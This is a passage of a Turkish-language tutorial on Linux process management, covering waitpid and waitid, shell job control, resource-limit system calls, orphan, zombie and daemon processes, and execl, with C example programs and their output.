6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Child, 3 çıkış durumunu döndürse bile, neden üst süreç bunu 768 olarak görür. Durum, daha yüksek sıralı baytta depolanır, bu nedenle, 0X0300 olarak ondalık formatta 768 olarak depolanır. Normal fesih aşağıdaki gibidir
Daha Yüksek Dereceli Bayt (8'den 15'e Bit) | Alt Sıralı Bayt (0'dan 7'ye Bit) |
Çıkış durumu (0 ila 255) | 0 |
Wait () sistem çağrısının, yalnızca bir sonraki çocuğun çıkışına kadar bekleyebileceği gibi sınırlamaları vardır. Belirli bir çocuğu beklememiz gerekirse wait () kullanmak mümkün değildir, ancak waitpid () sistem çağrısını kullanmak mümkündür.
Waitpid () sistem çağrısı, belirtilen çocukların sona ermesini ve aşağıda açıklandığı gibi arabellekteki sonlandırma durumunu geri döndürmesini bekler.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
Yukarıdaki çağrı, başarı durumunda sonlandırılan çocuğun işlem kimliğini ve başarısızlık durumunda -1'i döndürür. Waitpid () sistem çağrısı, geçerli sürecin yürütülmesini askıya alır ve belirtilen çocuklar (pid değerine göre) sona erene kadar süresiz olarak bekler. Durumda çocuğun sonlandırma durumu mevcuttur.
Pid değeri aşağıdakilerden biri olabilir -
< -1 - Süreç grubu kimliği pid mutlak değerine eşit olan tüm alt süreçleri bekleyin.
-1 - wait () sistem çağrısına eşit olan herhangi bir alt süreci bekleyin.
0 - Süreç grubu kimliği çağıran işleminkine eşit olan tüm alt süreçleri bekleyin.
>0 - Süreç kimliği pid değerine eşit olan tüm alt süreçleri bekleyin.
Varsayılan olarak, waitpid () sistem çağrısı yalnızca sonlandırılan çocukları bekler ancak bu varsayılan davranış seçenekler argümanı kullanılarak değiştirilebilir.
Şimdi bir programı örnek olarak ele alalım, işlem kimliği ile belirli bir süreci bekleyelim.
/ * Dosya adı: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
Derleme ve yürütmeden sonra çıktı aşağıdaki gibidir.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Şimdi waitid () sistem çağrısını kontrol edelim. Bu sistem çağrısı, alt sürecin durumunu değiştirmesini bekler.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
Yukarıdaki sistem çağrısı, alt sürecin durumu değiştirmesini bekler ve bu çağrı, alt süreçlerinden herhangi biri durumunu değiştirene kadar mevcut / çağıran süreci askıya alır. 'İnfop' argümanı, çocuğun mevcut durumunu kaydetmektir. İşlem halihazırda durumunu değiştirmişse bu çağrı hemen geri döner.
İdtype değeri aşağıdakilerden biri olabilir -
P_PID - İşlem kimliği id ile eşit olan herhangi bir alt işlemi bekleyin.
P_PGID - İşlem grubu kimliği id ile eşit olan herhangi bir alt işlemi bekleyin.
P_ALL - Herhangi bir alt süreci bekleyin ve kimlik göz ardı edilir.
Seçenekler argümanı, hangi durumun değiştiğini belirtmektir ve bu, aşağıda belirtilen bayraklarla bitsel OR işlemiyle oluşturulabilir -
WCONTINUED - Durdurulan ve devam ettirilen herhangi bir çocuğun durumunu döndürür.
WEXITED - İşlemin çıkmasını bekler.
WNOHANG - Hemen döner.
WSTOPPED - Sinyali aldıktan sonra durmuş olan herhangi bir çocuğun sürecini bekler ve durumu döndürür.
Bu çağrı, çocuklarından birinin durumundaki bir değişiklik nedeniyle dönerse ve WNOHANG kullanılırsa 0 döndürür. Hata durumunda –1 döndürür ve uygun hata numarasını ayarlar.
/ * Dosya adı: waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
Yukarıdaki programın çalıştırılmasından ve derlenmesinden sonra sonuç şu şekildedir.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
Bu bölümde Süreç Grupları, Oturumlar ve İş Kontrolüne aşina olacağız.
Process Group- Süreç grubu, bir veya daha fazla işlemin toplamıdır. Bir işlem grubu, aynı işlem grubu tanımlayıcısını (PGID) paylaşan bir veya daha fazla işlemden oluşur. Bir işlem grubu kimliği (PGID), işlem kimliği ile aynı tiptedir (pid_t). Bir süreç grubunun, grubu oluşturan ve süreç kimliği grubun süreç grubu kimliği haline gelen süreç olan bir süreç grubu lideri vardır.
Sessions - Çeşitli süreç gruplarının bir koleksiyonudur.
Job Control- Bu, bir kabuk kullanıcısının aynı anda birden çok komutu (veya işi) yürütmesine izin verir, biri ön planda ve tümü arka planda kalır. İşleri ön plandan arka plana veya tersi yönde taşımak da mümkündür.
Bunu shell (BASH) kullanan örnek programların yardımıyla anlayalım.
Basic_commands.sh adlı temel komutları (tarih, echo, uyku ve cal) gerçekleştirmek için kabuk betiği (BASH olarak)
Temel komutları (ps, echo) gerçekleştirmek için kabuk komut dosyası (BASH olarak)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Dosyaya yürütme izinleri vermek için chmod komutunu kullanın. Varsayılan olarak, normal dosya yalnızca okuma ve yazma izinlerini alır ve izinleri yürütmez.
Mevcut çalışan işlemi durdurmak için CTRL + Z girmeniz gerekir. Bu size bir iş numarası verir. İş, ön planda veya arka planda devam ettirilebilir. Gerekirse, ön plandaki işe devam etmek için 'fg' komutunu kullanın. Gerekirse işi arka planda sürdürmek için 'bg' komutunu kullanın. Bunu kullanarak, yalnızca son durdurulan işlemi çalıştırır. Ya son durdurulan işlem dışında başlamak isterseniz? Sadece fg veya bg'den sonra iş numarasını kullanın (örneğin bg% 2 veya bg% 3, vb.). Çalışan iş arka plandaysa, ön plandaki diğer görevleri de çalıştırabilirsiniz. İşlerin listesini almak için komut, işler kullanın. İşlemi CTRL + C veya kill komutu ile sonlandırmak da mümkündür. Kill komutunu kullanırken iş numarasını iletebilirsiniz.
İşlerin durdurulmasını, işlerin ön plandan arka plana taşınmasını ve bunun tersini, işlerin sonlandırılmasını vb. Gösteren aşağıdaki çıktıyı kontrol edin.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
İşlem, görevleri gerçekleştirmek için CPU ve bellek gibi belirli kaynaklara ihtiyaç duyar. Şimdi kaynak kullanımı ve izleme hakkındaki bilgileri öğrenmek için ilgili komutları ve sistem çağrılarını inceleyeceğiz. Ayrıca, kaynaklardaki her işlem için varsayılan olarak belirli sınırlar vardır ve gerekirse sınırlar uygulama gereksinimlerini karşılayacak şekilde geliştirilebilir.
Aşağıda, komutları kullanan temel sistem veya işlem kaynakları bilgileri verilmiştir -
Üst komut
$ top
Üst komut, sistem kaynaklarının kullanımını sürekli olarak görüntüler. Herhangi bir işlem sistemi bir tür kilitlenme durumuna sokarsa (daha fazla CPU veya Bellek tüketir), işlem bilgilerini not etmek ve uygun eylemi (ilgili işlemi sonlandırmak gibi) yapmak mümkündür.
Ps komutu
$ ps
Ps komutu, çalışan tüm işlemler hakkında bilgi sağlar. Bu, süreçleri izlemeye ve kontrol etmeye yardımcı olur.
Vmstat komutu
$ vmstat
Vmstat komutu, sanal bellek alt sisteminin istatistiklerini bildirir. İşlemlerin bilgilerini (çalıştırmayı bekleyen, uyuyan, çalıştırılabilir işlemler vb.), Bellek (boş, kullanılmış vb. Sanal bellek bilgileri), takas alanı, IO cihazları, sistem bilgilerini (kesinti sayısı, bağlam anahtarları) raporlar. ) ve CPU (kullanıcı, sistem ve boşta kalma süresi).
Lsof komutu
$ lsof
Lsof komutu, sistem işlemleri dahil olmak üzere çalışan tüm işlemlerin açık dosyalarının listesini yazdırır.
Getconf komutu
$ getconf –a
Getconf komutu, sistem yapılandırma değişkenleri bilgilerini görüntüler.
Şimdi ilgili sistem çağrılarına bir göz atalım.
Sistem kaynak kullanımı hakkında bilgi sağlayan sistem çağrısı getrusage ().
Kaynak sınırlarına erişim ve belirleme ile ilgili sistem çağrıları, yani getrlimit (), setrlimit (), prlimit ().
Sistem Kaynağı Kullanım Çağrısı
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
Sistem çağrısı getrusage (), sistem kaynak kullanımı hakkındaki bilgileri döndürür. Bu, "kim" değişkeni için RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD bayraklarını kullanarak kendiliğinden, çocuklardan veya evre çağırma hakkında bilgi içerebilir. Aramadan sonra, bilgileri yapı bilgisine döndürür.
Bu çağrı, başarılı olursa "0" ve başarısız olursa "-1" döndürür.
Aşağıdaki örnek programa bakalım.
/ * Dosya adı: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Derleme ve Yürütme Adımları
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Şimdi kaynak sınırlarına erişim ve ayarlamayla ilgili sistem çağrılarına bakalım.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
Sistem çağrısı getrlimit() RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, vb. gibi ihtiyaç duyulan kaynağı girerek yapı sınırlamasındaki kaynak sınırlarını alır.
Sistem çağrısı setrlimit() sınır yapısında belirtildiği gibi kaynak sınırlarını sınırlar dahilinde ayarlar.
Sistem çağrısı prlimit() mevcut kaynak limitlerini geri almak veya kaynak limitlerini yeni değerlere güncellemek gibi çeşitli amaçlar için kullanılır.
Yapı sınırı iki değer içerir -
Soft limit - Mevcut limit
Hard limit - Uzatılabileceği maksimum limit.
RLIMIT_NOFILE
RLIMIT_NPROC - Bu işlemin bir kullanıcısı için oluşturulabilecek maksimum işlem sayısı.
RLIMIT_STACK - Bu işlem için yığın segmentinin bayt cinsinden maksimum boyutu.
Tüm bu çağrılar başarı durumunda “0” ve başarısızlık halinde “-1” döndürür.
Getrlimit () sistem çağrısını kullandığımız aşağıdaki örneği ele alalım.
/ * Dosya adı: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Derleme ve Yürütme Adımları
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Getrlimit () sistem çağrısıyla ama şimdi prlimit () sistem çağrısıyla başka bir örnek ele alalım.
/ * Dosya adı: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Derleme ve Yürütme Adımları
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Şimdiye kadar süreçler, yaratılışı, ebeveyn ve çocuk süreçleri vb. Hakkında tartıştık. Yetim süreci, Zombi süreci ve Daemon süreci gibi diğer ilgili süreçler tartışılmadan tartışma tamamlanmayacaktır.
Yetim Süreci
İsminden de anlaşılacağı üzere yetim, ebeveynsiz süreci ifade eder. Bir programı veya uygulamayı çalıştırdığımızda, uygulamanın ana süreci kabuktur. Fork () kullanarak bir süreç oluşturduğumuzda, yeni oluşturulan süreç çocuk süreçtir ve çocuğu oluşturan süreç de üst süreçtir. Buna karşılık, bunun ana süreci kabuktur. Tabii ki, tüm süreçlerin ebeveyni init işlemidir (İşlem Kimliği → 1).
Yukarıdakiler olağan bir senaryodur, ancak üst süreç alt süreçten önce çıkarsa ne olur. Sonuç, çocuk süreç artık öksüz süreç haline geliyor. Öyleyse, üstünden ne haber, yeni ebeveyni tüm süreçlerin ebeveynidir, ki bu da init sürecinden başka bir şey değildir (İşlem Kimliği - 1).
Aşağıdaki örneği kullanarak bunu deneyip anlamaya çalışalım.
/ * Dosya Adı: orphan_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Derleme ve Yürütme Adımları
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Zombi Süreci
Basit bir ifadeyle, ana ve alt süreç olmak üzere iki işleminiz olduğunu varsayalım. Alt süreci beklemek ve ardından süreç tablosundan alt süreç girişini temizlemek ana sürecin sorumluluğundadır. Ya ana süreç çocuk sürecini beklemeye hazır değilse ve bu arada çocuk süreç işini bitirip çıkarsa? Şimdi, çocuk süreci zombi süreci haline gelecekti. Elbette zombi süreci ana süreç hazır olduktan sonra temizlenir.
Bunu bir örnek yardımıyla anlayalım.
/ * Dosya Adı: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Derleme ve Yürütme Adımları
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Daemon Süreci
Basit bir ifadeyle, ilişkili herhangi bir kabuğu veya terminali olmayan süreç, arka plan programı süreci olarak bilinir. Bu neden gerekli? Bunlar, eylemleri önceden tanımlanmış aralıklarla gerçekleştirmek ve ayrıca belirli olaylara yanıt vermek için arka planda çalışan işlemlerdir. Arka planda çalışan bir süreç olarak çalıştığından, arka plan programı süreci herhangi bir kullanıcı etkileşimi içermemelidir.
Dahili Linux arka plan programı işlemleri genellikle Kernel Daemons (ksoftirqd, kblockd, kswapd, vb.), Printing Daemon (cupd, lpd, vb.), Dosya Hizmeti Daemonları (smbd, nmbd, vb.) Gibi "d" harfiyle biter. , Yönetim veritabanı arka plan programları (ypbind, ypserv, vb.), Elektronik Posta Daemonları (sendmail, popd, smtpd, vb.), Uzaktan Oturum Açma ve Komut Yürütme Daemonları (sshd, in.telnetd, vb.), Önyükleme ve Yapılandırma Arka Plan Programları (dhcpd , udevd, vb.), init işlemi (init), cron daemon, atd daemon vb.
Şimdi bir daemon sürecinin nasıl oluşturulacağını görelim. Adımlar aşağıdadır -
Step 1- Bir çocuk süreci oluşturun. Şimdi iki sürecimiz var - ana süreç ve alt süreç
Genellikle süreç hiyerarşisi SHELL → EBEVEYN SÜRECİ → ÇOCUK SÜRECİ şeklindedir
Step 2- Çıkarak ana süreci sonlandırın. Alt süreç artık öksüz süreç haline gelir ve init süreci tarafından devralınır.
Şimdi hiyerarşi INIT PROCESS → CHILD PROCESS şeklindedir
Step 3- Çağıran süreç bir süreç grubu lideri değilse, setid () sistem çağrısının çağrılması yeni bir oturum oluşturur. Artık çağrı süreci, yeni oturumun grup lideri haline gelir. Bu süreç, bu yeni süreç grubundaki ve bu yeni oturumdaki tek süreç olacaktır.
Step 4 - İşlem grup kimliğini ve oturum kimliğini arama işleminin PID'sine ayarlayın.
Step 5 - Terminal ve kabuğun uygulamayla bağlantısı artık kesildiğinden, sürecin varsayılan dosya tanımlayıcılarını (standart giriş, standart çıkış ve standart hata) kapatın.
/ * Dosya adı: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Bir program çalıştırdığımızı ve mevcut programdan başka bir programı çalıştırmak istediğimizi varsayalım. Mümkün mü? Süreç görüntüsünün üzerine bindirme konseptini uygularsak neden olmasın? Sorun değil ama mevcut çalışan program ne olacak, o da çalıştırılabilir. Mevcut programı yeni programla kapladığımız için bu nasıl mümkün olabilir? Ne yapmalıyım, iki programı mevcut çalışan programı kaybetmeden çalıştırmak istersem mümkün mü? Evet mümkün.
Bir üst süreç ve yeni oluşturulmuş bir alt süreç oluşturmamız için bir alt süreç oluşturun. Zaten mevcut programı ana süreçte çalıştırıyoruz, bu nedenle yeni oluşturulan süreci çocukta çalıştırın. Bu şekilde mevcut programdan başka bir programı çalıştırabiliriz. Sadece tek bir program değil, bu kadar çok sayıda çocuk süreç oluşturarak mevcut programdan istediğiniz sayıda programı çalıştırabiliriz.
Aşağıdaki programı örnek olarak ele alalım.
/ * Dosya Adı: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Dosya Adı: execl_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
Yukarıdaki program, execl_test'in işlem görüntüsünü helloworld ile kaplayacaktır. Execl_test (printf ()) işlem görüntü kodunun çalıştırılmamasının nedeni budur.
Derleme ve Yürütme Adımları
Hello World
Şimdi, aşağıdaki iki programı bir programdan çalıştıracağız, yani execl_run_two_prgms.c.
Merhaba Dünya programı (helloworld.c)
While döngü programı 1'den 10'a yazdırmak için (while_loop.c)
/ * Dosya Adı: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
Aşağıda, iki program çalıştırma programı verilmiştir (bir program çocuktan ve diğer program ebeveynden).
/ * Dosya adı: execl_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Alt ve üst işlemlerin sıralı olarak çalıştığından emin olmak için uyku () çağrısı yapın (sonuçla örtüşmeyin).
Derleme ve Yürütme Adımları
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Şimdi bir programdan iki program çalıştıracağız, yani execl_run_two_prgms.c, yukarıdaki ile aynı program, ancak komut satırı argümanları ile. Bu nedenle, çocuk süreçte helloworld.c ve üst süreçte while_loop.c olmak üzere iki program çalıştırıyoruz. Bu aşağıdaki gibidir -
Merhaba Dünya programı (helloworld.c)
While döngü programı komut satırı argümanlarına göre 1'den num_times_str'e yazdırmak için (while_loop.c)
Bu program genel olarak aşağıdaki eylemleri gerçekleştirir -
Bir çocuk süreç yaratır
Çocuk süreci helloworld.c programını yürütür
Ana süreç, programa bir argüman olarak komut satırı argüman değerini ileten while_loop.c programını çalıştırır. Komut satırı argümanları iletilmezse, varsayılan değer 10 olarak alınır. Aksi takdirde, verilen argüman değerini alır. Bağımsız değişken değeri sayısal olmalıdır; alfabe halinde verilirse kod doğrulanmaz.
